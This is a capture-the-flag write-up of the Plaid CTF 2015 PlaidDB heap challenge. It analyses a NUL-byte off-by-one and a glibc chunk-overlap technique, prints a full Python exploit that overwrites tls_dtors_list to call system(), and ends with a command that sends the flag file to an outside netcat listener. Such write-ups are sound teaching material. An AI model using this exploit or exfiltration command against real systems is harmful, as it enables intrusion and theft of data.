Plaid CTF 2015 > PlaidDB - pwn 550
PlaidDB is an x64 stripped executable, compiled with full RELRO, PIE and NX support. It's libc was provided, seemingly from Ubuntu LTS 14.04. It manages key-value pairs which one can add, update, retrieve or delete:
$ ./datastore INFO: Welcome to the PlaidDB data storage service. INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT PROMPT: Enter command: PUT PROMPT: Enter row key: key1 PROMPT: Enter data size: 2 PROMPT: Enter data: K INFO: Insert successful. PROMPT: Enter command: PUT PROMPT: Enter row key: key2 PROMPT: Enter data size: 3 PROMPT: Enter data: KK INFO: Insert successful. PROMPT: Enter command: PUT PROMPT: Enter row key: key1 PROMPT: Enter data size: 2 PROMPT: Enter data: A INFO: Update successful. PROMPT: Enter command: DUMP INFO: Dumping all rows. INFO: Row [key1], 2 bytes INFO: Row [key2], 3 bytes INFO: Row [th3fl4g], 8 bytes PROMPT: Enter command: GET PROMPT: Enter row key: key1 INFO: Row data [2 bytes]: A PROMPT: Enter command: EXIT
The vulnerability lies in the function at 0x1040, used to get the key values from standard input:
char *get_raw() { key = malloc(8); ptr = key; chunk_sz = malloc_usable_size(key); while ( 1 ) { c = _IO_getc(stdin); if ( c == -1 ) do_exit(); if ( c == '\n' ) break; v5 = ptr - key; if ( chunk_sz <= ptr - (_BYTE *)key ) { v6 = realloc(key, 2 * chunk_sz); key = v6; if ( !v6 ) { puts("FATAL: Out of memory"); exit(-1); } ptr = (char *)v6 + v5; chunk_sz = malloc_usable_size(v6); } *ptr++ = c; } *ptr = 0; return key; }
This function is off-by-one when it inserts the terminating NUL byte, as demonstrated below:
$ ./datastore INFO: Welcome to the PlaidDB data storage service. INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT PROMPT: Enter command: PUT PROMPT: Enter row key: a PROMPT: Enter data size: 2 PROMPT: Enter data: a INFO: Insert successful. PROMPT: Enter command: PUT PROMPT: Enter row key: b PROMPT: Enter data size: 2 PROMPT: Enter data: a INFO: Insert successful. PROMPT: Enter command: DEL PROMPT: Enter row key: a INFO: Delete successful. PROMPT: Enter command: PUT PROMPT: Enter row key: AAAAAAAAAAAAAAAAAAAAAAAA PROMPT: Enter data size: 2 PROMPT: Enter data: a INFO: Insert successful. PROMPT: Enter command: DEL PROMPT: Enter row key: AAAAAAAAAAAAAAAAAAAAAAAA *** Error in `./datastore': free(): invalid pointer: 0x00007ff37899d0f0 *** Aborted
In the previous example I used a key size of 0x18, which is the minimal chunk length. This sets the size of the chunk immediately after to 0 (in this case, the chunk that will contain the "data" allocated afterwards), which induces a free() error when those chunks are deleted.
A NUL byte off-by-one in the heap looks like a rough situation to be in. <brag>Fortunatetly, I wrote a paper about that very situation a couple of months ago</brag>, shamelessly based on Project Zero's work around CVE-2014-5119 last summer. The idea of the exploitation is to craft the heap so that the overflow corrupts a free chunk, the size of which is larger than 0x100 and with a least significant byte not equal to 0. In that case the NUL off-by-one shrinks the size of this free chunk by whatever the least significant byte was. Subsequent allocations within that chunk do not properly update the prev_size of the next chunk (last dword in the free chunk's space). If we reach a point where this next chunk is freed and the beginning of the corrupted chunk is also free (and mergeable, so not a fastbin), then both chunks will be merged in one big free chunk, even if chunks were allocated in between:
| off-by-one chunk | free chunk A, sz = 0xXXYY | allocated chunk B |
| off-by-one chunk | free chunk A, sz = 0xXX00 | allocated chunk B |
| off-by-one chunk | A1 | A2 | free space | allocated chunk B |
| off-by-one chunk | free | A2 | free space | allocated chunk B |
At that point, upon freeing B, a big free chunk of size sz(A) + sz(B) is created and A2 would be overwritten by subsequent allocations within this chunk.
Getting back to our datastore, the chunks we want to target are the key-value pairs metadata which look like the following:
struct pair { char * key; long size; char * data; struct pair * prev; struct pair * next; void * ptr1; void * ptr2; }
I didn't reverse the parts where ptr1 and ptr2 were used so I am not sure what their actual purpose was - probably a second linked list ordering the pairs differently. As the executable is PIE, we first need to leak addresses before going any further. A useful feature of the executable for that will be the dump method, which outputs the content of the key as well as the "size" field. If we can craft the heap so that one of those struct pair chunks coincides with a new free chunk, we can set those two fields to libc BSS addresses, by allocating a chunk that finishes just before the targeted struct. The start of the free chunk will then be the targeted struct pair, and it's first two longs will be replaced by freelist pointers from the main arena in libc's BSS.
With knowledge of a libc BSS address, we can deduce the libc and executable's bases. We can now completely overwrite the targeted struct pair, with arbitrary addresses as the key to get arbitrary leaks. This allows us to check that the base addresses we have indeed point to ELF headers, and adjust if it isn't the case. By leaking the arena address we got in the first place or the linked list's head from the BSS, we can deduce the heap base as well:
#!/usr/bin/python import sys import socket import re import struct HOST = "52.4.86.204" PORT = 64613 row_re = re.compile("INFO: Row \[(.*)\], ([0-9]+) bytes") s = socket.socket() s.connect((HOST, PORT)) def rd_until(t="\n"): txt = "" while 1: txt += s.recv(1) if txt.endswith(t): break sys.stderr.write(txt) sys.stderr.flush() return txt # mrealloc(key) def do_get(key): s.sendall("GET" + "\n") s.sendall(key + "\n") # malloc(0x38), mrealloc(key), malloc(data) def do_put(key, data): s.sendall("PUT" + "\n") s.sendall(key + "\n") s.sendall(str(len(data)) + "\n") s.sendall(data) # mrealloc(key) + frees def do_del(key): s.sendall("DEL" + "\n") s.sendall(key + "\n") def do_dump(): s.sendall("DUMP\n") do_put("k1", "A"*0x100) do_put("k1", "B"*0x220) # update k1 to create a hole in the heap do_put("k2", "C"*0x80) # placeholder for where the overflow will happen do_put("k3", "D"*0x230) # free chunk, the prev_size of which will be inconsistent after the overflow do_del("k1") do_del("k2") do_put("k4", "E"*0x300) #stabilise end of heap do_put("k"*0x18, "F"*0x101) # overflow into free chunk and allocate a small chunk at the beginning of it do_put("target", (" ".join(sys.argv[1:]) + "\x00").ljust(0x400)) # the targeted struct pair chunk, also containing the system() payload for the final stage do_del("k"*0x18 + "\x11\x01") # remove beginning of corrupted chunk (have to append the size of the chunk that got allocated immediately after | 1 for PREV_INUSE) do_del("k3") # coalesce backwards into one big chunk do_put("yolo", "\x10"*0x100) # set the first two longs of the targeted chunk to a heap arena address do_del("yolo") do_dump() # get heap base i = 0 while 1: line = rd_until() rx = row_re.search(line) if rx != None: i += 1 if i == 2: arena_orig = int(rx.group(2)) libc_bss_base = arena_orig & ~0xfff elif i == 3: break print "[+] Libc BSS", hex(libc_bss_base) libc_base = libc_bss_base - 0x3be000 print "[+] Libc base", hex(libc_base) exe_base = libc_bss_base + 0x22c000 print "[+] Exe base", hex(exe_base) # moar leaks to check & retrieve heap base do_del("yolo") fake_struct = [ libc_base, 0x123, 0, 0, 0, 0, 0] fake_struct = "".join([struct.pack("<Q", x) for x in fake_struct]) do_put("yolo", "X"*0x110 + fake_struct) do_dump() do_del("yolo") fake_struct = [ exe_base + 0x203018, 0x123, 0, 0, 0, 0, 0] # linked list head from the BSS fake_struct = "".join([struct.pack("<Q", x) for x in fake_struct]) do_put("yolo", "X"*0x110 + fake_struct) do_dump() do_del("yolo") fake_struct = [ arena_orig, 0x123, 0, 0, 0, 0, 0] fake_struct = "".join([struct.pack("<Q", x) for x in fake_struct]) do_put("yolo", "X"*0x110 + fake_struct) do_dump() do_del("yolo") i = 0 while 1: line = rd_until() rx = row_re.search(line) if rx != None: i += 1 if i == 3: heap_base = struct.unpack("<Q", rx.group(1).ljust(8, "\x00"))[0] & ~0xfff elif i == 6: break print "[+] Heap", hex(heap_base)
Most chunk sizes don't really matter -I used different ones to easily sort out which chunk is which in traces. Sample execution:
$ ./sploit.py "" INFO: Welcome to the PlaidDB data storage service. INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Update successful. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: PROMPT: Enter row key: INFO: Delete successful. PROMPT: Enter command: PROMPT: Enter row key: INFO: Delete successful. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: PROMPT: Enter row key: INFO: Delete successful. PROMPT: Enter command: PROMPT: Enter row key: INFO: Delete successful. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: PROMPT: Enter row key: INFO: Delete successful. PROMPT: Enter command: INFO: Dumping all rows. INFO: Row [k4], 768 bytes INFO: Row [��Z�], 139992434255800 bytes INFO: Row [th3fl4g], 8 bytes [+] Libc BSS 0x7f528750a000 [+] Libc base 0x7f528714c000 [+] Exe base 0x7f5287736000 PROMPT: Enter command: PROMPT: Enter row key: ERROR: Row not found. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: INFO: Dumping all rows. INFO: Row [yolo], 328 bytes INFO: Row ELF], 291 bytes PROMPT: Enter command: PROMPT: Enter row key: INFO: Delete successful. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: INFO: Dumping all rows. INFO: Row [p�Z�], 291 bytes INFO: Row [yolo], 328 bytes PROMPT: Enter command: PROMPT: Enter row key: INFO: Delete successful. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: INFO: Dumping all rows. INFO: Row [yolo], 328 bytes INFO: Row [��Z�], 291 bytes [+] Heap 0x7f52885ae000
Wonderful. Now time to find an arbitrary memory write somewhere. The "delete" functionality sounds like a great place to find an unlink()-style write. Relevant parts from the delete function (0x1470):
void do_delete() { puts("PROMPT: Enter row key:"); key = get_raw(); todelete = dbstruct_head; LABEL_2: if ( !todelete ) return puts("ERROR: Row not found."); while ( 1 ) { todelete_key = (const char *)todelete->key; v3 = strcmp(puts, (const char *)todelete->key); if ( v3 < 0 ) { todelete = todelete->prev; goto LABEL_2; } if ( !v3 ) break; todelete = todelete->next; if ( !todelete ) return puts("ERROR: Row not found."); } todelete_next = todelete->prev; if ( todelete_next ) // todelete_prev [...] else { todelete_next = todelete->next; todelete_ptr1 = todelete->ptr1; v26 = todelete->ptr2; if ( !todelete_next ) goto LABEL_64; } todelete_next->ptr1 = todelete_ptr1; LABEL_64: if ( todelete_ptr1 ) { if ( todelete_ptr1->prev == todelete ) todelete_ptr1->prev = todelete_ptr1; else todelete_ptr1->next = todelete_ptr1; } else { dbstructs_head = todelete_next; } if ( v26 ) goto LABEL_29; [...] LABEL_29: free((void *)todelete_key); free((void *)todelete->data); free(todelete); free((void *)key); puts("INFO: Delete successful."); }
So, if todelete->prev is null, we have todelete->next->ptr1 = todelete->ptr1. However, this also triggers a todelete->ptr1->next = todelete->ptr1 before going straight to the end of the function if todelete->ptr2 is not equal to 0. Both todelete->ptr1 and todelete->next need to point to a writeable region, so we can't just overwrite a function pointer by an arbitrary libc address. I chose to target the tls_dtors_list, as it conveniently stores both a function pointer and an argument in a writeable region. The last part of the exploit is therefore to do a final overwrite of the pair struct, with its key pointing to a valid, allocated heap chunk (in the example below I use heap_base+0x50 which is the original address of th3fl4g's key chunk), and with the "prev" field set to 0, the "next" field to tls_dtors_list - 0x28, the "ptr1" field pointing to a heap address we control and "ptr2" being non-null. ptr1 (our fake tls_dtors_list) points to a heap region where we place two pointers, the first one being system() and the second another heap address we control (the argument):
print "[+] Heap", hex(heap_base) tls_dtor = libc_base + 0x5e26f0 tls_dtor -= 0x5000 # offset for remote system if needed # Final struct to trigger the unlink()-style overwrite of tls_dtors_list # *tls_dtor = heap_base + 0x260 + 0x40 (0x40 bytes into the chunk before the overwritten one), prev = 0, ptr2 != 0, key is freeable fake_struct = [ heap_base + 0x50, 0x123, 0, 0, tls_dtor - 0x28, heap_base + 0x260 + 0x40, 1] fake_struct = "".join([struct.pack("<Q", x) for x in fake_struct]) # "A"*0x40 (some of it is gonna be overwritten) + @system + @target_data (the original data associated with the overwritten chunk) # have to forge the fake_struct's chunk header as it's gonna get freed after the do_del do_put("th3fl4g", ("A"*0x40 + struct.pack("<Q", libc_base + 0x46640) + struct.pack("<Q", heap_base + 0x9e0)).ljust(0x108) + struct.pack("<Q", 0x41) + fake_struct) do_del("th3fl4g") # this will trigger the dtor s.sendall("EXIT" + "\n") s.close() print "[+] All done"
If we use the provided libc to extract addresses, the tls_dtors_list we obtain will have the same alignment as the remote one, but the offset may still vary depending on ld-linux's actual size. A little page-by-page bruteforce may be required to get the correct offset (in my case it was -0x5000). Last thing to do is to fire the exploit:
$ ./sploit.py "cat /home/plaiddb/flag | nc <host> 31337" INFO: Welcome to the PlaidDB data storage service. INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT [...] INFO: Dumping all rows. INFO: Row [k4], 768 bytes INFO: Row [��Y�], 140380975044536 bytes INFO: Row [th3fl4g], 8 bytes [+] Libc BSS 0x7facfe269000 [+] Libc base 0x7facfdeab000 [+] Exe base 0x7facfe495000 PROMPT: Enter command: PROMPT: Enter row key: ERROR: Row not found. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: INFO: Dumping all rows. INFO: Row [yolo], 328 bytes INFO: Row ELF], 291 bytes PROMPT: Enter command: PROMPT: Enter row key: INFO: Delete successful. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: INFO: Dumping all rows. INFO: Row [p�Y�], 291 bytes INFO: Row [yolo], 328 bytes PROMPT: Enter command: PROMPT: Enter row key: INFO: Delete successful. PROMPT: Enter command: PROMPT: Enter row key: PROMPT: Enter data size: PROMPT: Enter data: INFO: Insert successful. PROMPT: Enter command: INFO: Dumping all rows. INFO: Row [yolo], 328 bytes INFO: Row [��Y�], 291 bytes [+] Heap 0x7facff599000 [+] All done
And stare at the listening netcat whilst praying:
$ nc -lp 31337 flag{one_null_byte_t0_rul3_them_all_4ecd68f0} $
Et voilà. Apologies for the ugly exploit code, but I know I won't take the time to clean it up anyway.